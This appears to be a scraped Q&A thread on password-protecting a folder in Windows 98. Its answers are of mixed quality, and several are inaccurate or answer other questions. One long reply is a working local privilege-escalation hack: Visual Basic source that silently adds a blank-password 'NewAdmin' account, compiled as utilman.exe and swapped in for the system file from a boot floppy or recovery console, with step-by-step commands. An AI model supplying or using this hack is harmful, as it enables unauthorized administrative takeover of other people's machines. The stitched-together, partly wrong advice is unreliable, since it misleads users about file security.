I have windows 98 in my computer. I want to protect my folder\n(where I keep some files) by giving a pass word . kindly let me know how to do?\n Thanks.
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try this free software\nhttp://www.secrethider.com/
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Well, why don't you back up all your files to a flashdrive or CD.\nThen format your drive and reload Windows.. But if you do reload why in your right mind would you want to place 98 on when WIN 2000 or XP is the way to go?\n\nIf FOR some reason you can't backup your data to another drive or CD, you can reinstall Windows on top of itself and you will not lose any of the data on the drive.
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if the t drive is on your local computer you can download a program that will enable windows to ask for a password when opening folders.  programs that do this can be found here: http://www.download.com/3120-20_4-0.html?tag=srch&qt=password+folder&tg=dl-20\n\nif the t drive is on the server, you can only allow or disallow users/groups to have access to a folder.  you can't make it prompt for a password.  to restrict access, you will have to make this change on the server.
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You need a software for that like http://www.password-protect-software.com/ would do that for you. I dont know if theres a free program for it though.
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you don't and you don't want to mess with that folder.  It is part of what makes your OS (operating system) work.  You should not play in that area unless your plan to rebuild your computer.
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It's not what you're wanting to hear however, you have no protection while using Microsoft Windows 98 as it has now been completly dropped from Microsoft's line of operating systems. No longer can you get updates or security protection. I'd be willing to bet that because of this, hackers are now tearing the program apart, digging for info as to how it was put together, all in an effort to find info that they'd like to have on the newer versions. Larry RadioShack
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There is no secure "password scheme" that doesn't involve some sort of encryption. If you don't have encryption, your data is on the disk "in the clear." Anyone with a binary disk reader can easily get it.\n\nTake Windows, for example. Windows doesn't use encryption to protect your files, but it can be configured to password-protect your account. There are hundreds of programs available that can easily reset a Windows password and give anyone access to your files.\n\nEncryption software is no more complex than your word processor, and some encryption software is user-friendly (PGP, WinZip). If you want to keep your data secure, you need encryption.
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if its a folder u dont rilli need to use soon\nu could always compress it usin win zip\n1.right click folder 2. Send To - Compressed Zipped Folder\n3.right click inside zipped folder 4. add password
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try creating a new user with the name that has access to that folder. once done, log in using that user on your computer and try to access the file/folder.\n\nshouldnt be a problem.\n\npeace hun.
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Folder Lock:\nhttp://fileforum.betanews.com/detail/Microsoft_Private_Folder/1152200243/1\n\nHope that helps.
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If you are using Windows XP you have several options.\nOption 1: Right click on the file to password (or an entire folder if you want), click properties, click the General tab, click Advanced button, click Encrypt Contents check box.\n\nOption 2: Use compression program like WinZip, and choose Encrypt or Password Protect options.\n\nThese will encrypt your information so that only a programming genius will be able to see your data 99.99% of people will not be able to get to it.\n\n* NOTE *\nIf you are engaging in illegal activity, these will not be good enough. Neither will deleting the files. The police can easily crack those. In that case you will need to delete everything, throw your hard disk away and never access those files again.
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if u have winxp then what ur lookin for is  right at ur finger tips..lol ..go to where the folder is,right click and a menu pops up,click where it says Security and sharing,it then ask if u wanna set a password for that folder!! Good luck!
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I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this \n\nto work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive. \n\nOverview: \nWindows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is \n\nlocated at C:&#92;Windows&#92;system32&#92;utilman.exe for windows XP and C:&#92;WINNT&#92;System32&#92;utilman.exe for windows 2000. So all you have to do is make \n\nyour own program that creates an administrative account. The program that you create has to have a filename of Utilman.exe in order to work. \n\nIf the filesystem on the computer is FAT32 then this process is very simple and only takes a second. If the Computer uses the NTFS filesystem this \n\nwill take a few minutes depending on how fast the PC is. \n\nFirst We need to make the program \nI used Visual Basic 6, here is my source code that i used to create the administrative account: \n\n#################################START############################### \nPrivate Sub Form_Load() \nShell "net user NewAdmin " & """""" & " /add", vbHide \nPause (1) \nShell "net localgroup administrators NewAdmin /add", vbHide \nPause (1) \nmsgbox "Added Administrative User",16,"Hacked XP" \nEnd \nEnd Sub \n\nSub Pause(interval) \n'Pauses execution \nCurrent = Timer \nDo While Timer - Current < Val(interval) \nDoEvents \nLoop \nEnd Sub \n\n'#################################END############################### \n\nCompile this with the filename of Utilman.exe this is very important! What this program does is create a User named NewAdmin with a blank \n\npassword and then adds them to the Administrators Group. \n\nOk Now that we've made the program lets move on... \n\nFAT32 \n1. Create a bootable floppy :: http://1gighost.net/keywest/boot98sc.exe \n2. Add the newly made Utilman.exe to the Floppy \n3. Restart the computer with the floppy in it \n4. After DOS loads type C: and press enter. \n5. If it changes from A:/> to C:/> then your doing good \n6. use this command: Copy A:&#92;utilman.exe C:&#92;windows&#92;system32&#92;utilman.exe press Y to overwrite the exsisting file \n7. Restart the computer without the floppy in it \n8. When it gets to the Login Screen Press the Windows Key + U \n9. Restart the computer if FastUser Switching is enabled (The Graphical Login with the picture next to the login name, XP Only) if not enabled skip to Step 10 \n\n9a. After restarting you should see a new user in the list named NewAdmin, click on this account and you just gained Administrative access to your \n\nPC. \n10. After pressing <b>Windows Key + U</b> then type in the username NewAdmin and push Enter. Thats It you now have administrative access to \n\nyour PC. \n\n\nNTFS \nUse a Windows 2000 Setup CD to gain access to the NTFS partition through the recovery console. From the recovery console you can copy over the hacked Utilman.exe. Once in the recovery console follow the same instructions as above from step 6. After copying over the file restart your computer by typing exit or pusing ALT CTRL DEL. Remove the Windows 2000 CD. When windows loads to the choose user screen simply push Windows Key + U. After pushing the Windows Key + U you should see a message that says "Added Administrative User", restart the computer one last time then choose the NewAdmin user account. This will have Administrative Privileges. It works ive done it and i hope you all enjoy this nice little hack ! ! ! (If your trying to gain SYSTEM level access your can replace the UTILMAN.exe to open a Command Prompt)
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It is the Windows Security Accounts Manager file.  It is where Windows stores passwords.  See sources for more info.
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If you want lock entire drive then go to dos prompt\ntype LOCK C it will lock ur c: and UNLOCK C it will release the drive however this features was avaible upto winme only.\n\nif u want to lock some file or folder jus go to dos and then\ntype ren oldfilename.extension oldfilename(Hold Alt key and then type any figure from 1-254).extension\n\nit will lock ur file. to unlock reverse the procedure.\n\nHowever till i rem. if partition is on FAT then this is supported NTFS does not support it. for NTFS u need to use Microsoft Locking for drive access (availble in services)\n\nHope that u will not lock ur ur any crucial file of OS
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There are several freeware, shareware, and commercial applications that allow you to password protect files, folders, or even a virtual drive.  Links to several freeware products in this category are included below.
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Go to Word or Excel and make a list of your passwords you want to keep up with.\n\nClick: "File" then select "Save As". Now select where you want to put that folder you are going to create. It you do not like the location the computer picked for you click on the down arrow on the right hand side and then select a place. My Documents is easy to find later.. \n\nOnce you have selected where you want to put it ( My documents is a good place to put it and is easy to find.)Put the cursor over the second to the right, yellow looking folder and it will say "create new folder". Just click on it and a new folder will be made. You will see a blue rectangle with "New Folder" in it. Type in "Password" or whatever you want to call it. You are now finished.\n\nTo find the folder you just created just go to "My Documents" (If that is where you put it) and click on the folder named "Password" if that is what you named it. And You can put whatever you want in it.